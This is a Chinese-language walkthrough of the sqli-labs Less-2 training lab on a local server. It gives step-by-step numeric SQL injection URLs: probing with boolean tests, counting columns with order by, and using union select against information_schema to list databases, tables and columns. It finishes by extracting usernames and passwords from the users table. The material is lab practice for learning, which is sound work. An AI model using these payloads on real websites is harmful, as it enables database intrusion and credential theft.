区分类型(数字型)
http://127.0.0.1/sqlilabs/Less-2/?id=1 and 1=1
http://127.0.0.1/sqlilabs/Less-2/?id=1 and 1=2
查找回显点
使用二分法,确定回显点,首先试6,没反应,试3,有反应;试5,无反应,试4,无反应。可以确定回显点为3
http://127.0.0.1/sqlilabs/Less-2/?id=1 order by 3
查看存放位置
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,3
id=-1 -2....都可以,查看mysql数据库,发现有14条id,说明id只要不在1-14,均可以,但为了方便一般使用负数,数据库中一般没有id为负,目的是了解可查询的位置,位置为2,3,均可查询
查看数据库
information_schema.schemata 数据库相关信息
Schema_name 库名
Information_schema.tables 数据库的相关信息
Table_schema 数据库所在库名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --查看所有数据库
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,version(),database() --查看当前数据库
注:数据库版本低于5.0无法使用information_schema查询!!
当前数据库为security
查看表名
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查看列名
爆表users的列名,将users 用ASCII码在线转换工具转换转换十六进制使用(去掉除第一个以外的0x)
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273
爆字段内容
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users
0x是十六进制标志,3a在ASCII码中表示为“:”,用以分隔username和password